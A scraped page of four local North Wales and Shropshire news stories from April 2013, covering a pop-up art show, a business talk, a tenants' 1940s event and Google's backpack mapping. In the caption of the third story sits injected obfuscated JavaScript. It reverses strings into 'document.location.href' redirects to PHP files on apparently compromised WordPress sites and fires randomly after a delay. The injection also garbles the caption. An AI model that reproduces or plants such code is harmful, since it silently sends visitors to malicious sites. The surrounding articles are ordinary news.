Category: News

Shropshire: Chance encounter opens door to shopping centre art exhibition

DARWIN SHOPPING CENTRE SHREWSBURY. young Artist Charlotte Richards opens her new exhibition.

A CHANCE encounter at a dental practice has led to a pop up art show in Shrewsbury’s Darwin Shopping Centre for aspiring artist Charlotte Richards.

And shoppers can commission a painting of themselves, their family or even their pets, when they visit the temporary gallery, which opened in the mall on Saturday, April 6.

The show, with its focus on how we view the world, will also form part of the Shrewsbury Arts Festival, which gets into full swing in the summer.

Fine art graduate Charlotte is working as a receptionist at St John’s Dental Practice, while building up her art portfolio – and mentioned it to Maggie Love, Artistic Director of Shropshire Youth Theatre, when she dropped in.

Charlotte was stunned when Maggie, who is also the Darwin Shopping Centre’s community coordinator, offered her the chance to open the pop-up gallery.

The 21-year-old said: “This is given me a wonderful opportunity to exhibit my pieces for six weeks. It is a real chance to get my work to a lot of people who may not consider visiting a gallery.

“I know there are a large number of shoppers who visit the centre every week and I will be hoping to get plenty of commissions for my work.”

Up to 20 art works, some more than 1.5m wide, will be on display in the pop-up gallery. Charlotte aims to be there as often as she can, between her day job at the dental practice, but she is free at weekends.

Maggie said: “I am delighted to find such a talented young portrait artist as I’m sure many people wish they had a portrait of themselves.

“Her work is vibrant and appealing so I hope she gets a few commissions.

“I have to give big thanks to the Shopping Centre’s management who have given the opportunity to promote artists and their work in the empty units.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centrse, said: “We’re keen here at Shrewsbury to make a visit to the shopping centres more than just a shopping trip.

“We’re very much part of the local community and the town has a thriving and vibrant artistic community and we want to reflect and encourage that at the shopping centres.”

After graduating from Cardiff University last summer with BA Honours in Fine Art, Charlotte moved back home to Crew Green in Shropshire to continue her art work.

She added: “I work in oil paint on wooden panels, canvas or paper. My current practice focuses on the subject of perception and sight. I have chosen to break free from traditional still life.

“My aim is to depict how the eye sees the world, as opposed to a camera’s reproduction of equal focus and perfection.

“When focusing on specific objects the peripheral vision tends to distort other images around this, for example to produce double vision.

“I have exhibited in different galleries since graduating from University; these include the Bear Steps in Shrewsbury, the Willow Street Gallery in Oswestry and in the National Trust’s Weston Park.”

Charlotte also recently headed back to her former school, Llanfyllin High School, to share her work with the pupils and give presentations on what university and art can offer.

She comes from an artistic family: her mum Lesley, who works as a dental nurse at the St John’s Practice, is also a trained upholsterer, and restores old furniture in her spare time, while Charlotte’s brother Dominic has completed a craft furniture degree at Carlisle, and her sister Sophia is studying fashion and textiles at Manchester. Dad Brian works for an insurance company.

Monday April 15th, 2013

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Wrexham business: Top entrepreneur shares secrets of growing company

Stephen Waring of GreenThumb

One of the UK’s most successful entrepreneurs will be revealing the secrets of his success to business professionals in Wrexham.

Stephen Waring, who founded the market-leading GreenThumb lawn care company, defied the recession to record a remarkable period of growth during the downturn.

Mr Waring will be among the guest speakers at a meeting of the Wrexham Business Professionals group – made up of accountants and solicitors.

The meeting at the town’s Ramada Plaza on Wednesday, April 24, will be attended by Group members and their guests from the business sector.

Mr Waring will be joined by Neil Ashbridge, the Bank of England’s Agent in Wales, Sir Jon Shortridge, the Chancellor of  Glyndŵr University, and David Jones, the Principal and Chief Executive of Deeside College.

Neil Ashbridge will give a private, off-the-record update on the economy while Sir Jon Shortridge and David Jones will explain the role education can play in meeting the needs of business in a developing economy, and the importance of providing a seamless progression from education to business and industry.

GreenThumb saw a 48 per cent increase in turnover from £34.8 million to £51.6 million.

At the same time, the number of customers went up from 333.258 in 2009 to the current figure of 453,171.

They now have a network of 220 franchises around the UK – an increase of 40 during the same period.

Speaking on behalf of Wrexham Business Professionals, Gill Atkinson, a director of Chartered Accountants Coxeys, said: “We are delighted to have been able to have three such able people to address the meeting. It promises to be a fascinating occasion.”

Mr Waring will give members an insight how he developed the GreenThumb brand as a household name and how he went about making it such a successful business..

With 90 per cent of the current UK lawn care market,  GreenThumb is way out ahead of its rivals.

The company is regularly cited as one of the country’s top five franchise operations in terms of performance and profitability.

GreenThumb’s humble beginnings in 1986 are the stuff of which business legends are made.

Mr Waring was just 20 when he invested £64 in 1,000 leaflets, put a bucket of fertiliser in the back of his Sierra estate car and knocked on doors offering to feed and weed lawns.

He believes that having half a million customers will be a significant milestone in GreenThumb’s history – but there is still huge potential for continued growth.

With 20 million gardeners in the UK, he is confident GreenThumb can eventually provide a service for five million customers.

Mr Waring has now also established a new, innovative business, Monolith UK which aims to revolutionise the construction industry.

Through Monolith he has invested more than £1 million in developing easy-to-fit, eco-friendly external wall panels.

The panels fit together like a jigsaw and can reduce labour costs by up to 75 per cent. They can be applied to existing properties or used in the construction of new buildings.

The insulated “architectural enhancements” – BrickPlus and StonePlus – can replicate the look of any brick or stone facade – and can even be used on listed buildings.

Mr Waring said: “I was delighted to be able to be invited to address the Wrexham Business Professionals group and I am looking forward to sharing my insights and hearing about their experiences.”

Monday April 15th, 2013

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Ex Navy gunner Ken has a ball at Llandudno wartime exhibition

Cartrefi Conwy tenants back $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to the 40's at Kinmel Manor. pictured is Adrian Hughes with Mr Alfred kenneth Ball.

Wartime memories came flooding back to 90 year old ex-Royal Navy gunner Ken Ball at a special event where nostalgia wasn’t just a thing of the past.

Ken was one of 150 housing association tenants who enjoyed a good old fashioned sing-song at a 1940s-style We’ll Meet Again session.

As well as the sing-along, there was an exhibition of wartime memorabilia from Llandudno’s Home Front Experience and War Museum.

The event at the Kinmel Manor Hotel, in Abergele, was organised by registered social housing landlord Cartrefi Conwy.

Ken, a tenant of the MaesCwstennin sheltered housing complex in Llandudno Junction, was proudly wearing his five war medals he earned while serving in the Second World War.

He said: “It’s been wonderful and I have enjoyed getting out of my home and having a good old chat with lots of friends. And the songs and things we have been shown have really brought back some memories.

“I was a Royal Navy gunner in the war and was on HMS Cotswold escorting convoys when it was rammed in the North Sea. We had to abandon ship and I ended up in hospital in Grimsby.

“I was then sent to Plymouth and then Barrow-in-Furness before I joined a ship called HMS Uriana. I then went to the Pacific and took part in the Japanese campaign before coming back and been there for the D-Day landings.”

He added: “It’s been lovely to hear the old songs again and think back to the war days. They were hard times but we pulled together.

“After the war I went back to my old job at Llandudno Theatre. I used to do the lighting and project the films. Then I went to Hotpoint where I worked for more than 30 years.

“The atmosphere today has been wonderful and everyone is smiling. I do enjoy living at Maes Cwstennin and our wardens are lovely.”

According to Cartrefi Conwy Community Involvement Co-ordinator Vicky Kelly, the free to attend event was organised in response to feedback from older residents.

She said: “We asked for feedback from those tenants who have attend our regular community day events and something aimed specifically at our older residents consistently came out on top.

“And, it means while our tenants have a bit of fun and get to socialise, it also gives us an opportunity to pass on some important informationand news to a high number of tenants at the same time.”

She added: “There is no doubt our elderly tenants have really enjoyed the day. We have had talks and an exhibition of wartime memorabilia from Llandudno’s Home Front Experience and War Museum and live music from 1940’s nostalgia group, Reflections.”

The event also saw two old friends who had lost contact enjoy a happy reunion.

The grandmother of Ethel May Williams, 92, of MaesCwstennin, Llandudno Junction, died after giving birth and Ethel’s mum was brought up in Betws-y-Coed by the grandmother of Menna Thomas, now 85.

Ethel says she remembers pushing Menna about in her pram just after she was born.

She said: “It’s amazing. We haven’t seen each other for more than four years, and that was at a funeral, so I was surprised when I saw Menna here. Although we aren’t actually blood relatives I think of Menna as my sister really.

“It’s been such a lovely day and we have been treated like queens. The food has been wonderful and everyone has been so friendly. I have really enjoyed myself.”

Menna Thomas, who lives in the Argoed sheltered housing scheme in Kinmel Bay, was  thrilled to meet up with Ethel at the We’ll Meet Again event.

She said: “It’s been a smashing day and fabulous to get together for a chat. The whole event has been so well organised and just lovely.

“To be fair Cartrefi Conwy have been very caring and putting on events like this today are very welcome indeed.”

Coleg Llandrillo Health and Social Care students helped out during the day, serving teas and coffees as well as helping tenants with mobility issues.

Tutor Davina Jones said: “It been a fabulous event and was a wonderful opportunity for our students to gain some valuable experience and confidence by engaging with, and talking to, elderly tenants.”

Cartrefi Conwy Chief Executive, Andrew Bowden, was delighted the event was such a big success.

He said: “It’s great to see so many tenants enjoying the activities and socialising together.

“We take our community involvement responsibilities very seriously and our team have pulled out all the stops in organising an event which has been really appreciated by our more senior tenants.

“And of course getting more than 150 tenants together means we can pass important up-to-date information to them as well as advicethat gives them the opportunity to improve their finances and well being.”

Sunday April 14th, 2013

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Google’s Grand plan in North Wales

Outdoor North Wales Forum at the Glasdir Conference Centre, Llanrwst. Dewis Davies of TPNW meets speakers and organiserts of the conference, from left, Chris Wright of Snowdonia Active, Rory Fegan of Pearl Fisher, Peter Hewlett, Walk North Wales and Ed Parsons of Google

Internet giant Google will be digitally mapping tourist hotspots in North Wales with the same advanced technology they used in the iconic Grand Canyon.

The news was revealed at  the third annual Outdoor North Wales Forum organised by Tourism Partnership North Wales to highlight new developments in the outdoor sector, including a major new marketing campaign.

Google will deploy their rapid-shooting cameras to capture the mountains of Snowdonia, large stretches of the Wales Coast Path from Chester down to Barmouth along with other parts of North Wales.

The state of the art cameras will not be mounted on the company’s usual airplane or a car – instead they’ll be pointed from the backpacks of a team on operatives working their way through the area on foot.

Details of the next ambitious stage of Google Earth, the virtual globe, map and geographical information program which enables computer users to zoom in on areas from space down to street level, were revealed during at the Forum.

The event at the Glasdir Centre in Llanrwst attracted around 200 outdoor activities industry professionals and was organised in conjunction with Visit Wales, The Outdoor Tourism Project and Snowdonia Active.

Delegates from every branch of the industry and associated groups heard from a total of 23 speakers, including Ed Parsons, a senior member of the Google team who is a qualified cartographer.

Other speakers included Phil Benbow, from Llanberis Mountain Rescue Team;  Gwenda Owen , from the Ramblers’ Association; Quentin Grimley, Countryside Council for Wales; Rhys Davies Outlook Expeditions and Jon Merrick, from  The Outdoor Tourism Project.

Mr Parsons said his Silicon Valley-based corporation was planning to capture images for Google Earth of the mountains of North Wales.

The exercise would use exactly the same technology which the company had devised to intricately map the vast and mostly inaccessible Grand Canyon in Arizona – cameras fitted to the backpacks of operators known as “trekkers” who were able to walk along filming dizzlingly high pathways and tracks which Google’s planes and cars had no chance of reaching.

Mr Parsons said: “The specially designed cameras, controlled by a mobile phone app, are carried by the trekkers are in 20 kilogram packs strapped to their backs and they automatically take pictures every two-and-a-half seconds.

“We are really excited about bringing this level of technology to the UK.”

Mr Parsons explained Google was looking at places popular with walkers in the region, from the Dee Valley around Llangollen to the Wales Coast Path, which includes miles of stunning countryside including the Dee Estuary, Flintshire, Denbighshire, Conwy and Gwynedd.

Dewi Davies, Tourism Partnership’s Regional Strategy Director, unveiled their latest branding strategy which carries the message that North Wales is the Heart of Adventure.

Mr Davies said: “Quite simply, there is probably nowhere else in the world where there is such a concentration of high class adventure and activity based holidays on offer.

“North Wales is very accessible. We’re three hours from London, two hours from Manchester and Birmingham.

“You can be coasteering, climbing and jumping into the sea and a half an hour later you can be canoeing in the mountains.

“We now also boast the longest zip line in Europe -  the 1,500 metre long zip line is located in the disused part of Penrhyn slate quarry in Bethesda, which has the  ultimate aim of attracting 30,000 visitors a year.”

Rory Fegan, of the branding and design company Pearlfisher, said the Heart of Adventure brand was designed to reflect North Wales’ strengths, such as quality activities, variety of adventure and a passion for the outdoors.

TPNW is now encouraging outdoor businesses to use the brand on their marketing material, websites and conversations with potential customers.

Carole Startin, Tourism Partnership’s Marketing and Events Executive, was delighted by the success of the forum.

She said: ” We’ve had some very positive feedback so it was definitely our best ever event for the Outdoor Sector so far. As well as having excellent speakers, it was a great opportunity for attendees to network with colleagues in the sector and meet new contacts which can help their business or help each other.”

The forum was also attended by Walk on Wales, an initiative this summer by members of the Welsh Guards to raise £1 million for their regiment’s Afghanistan Appeal and Combat Stress.

Carrying a specially commissioned silver baton bearing the names of the 50 Welsh Guardsmen who have died in action since the end of World War Two, teams will tackle 11 separate walks along the 870 miles of the Wales Coast Path in August.

Monday April 8th, 2013

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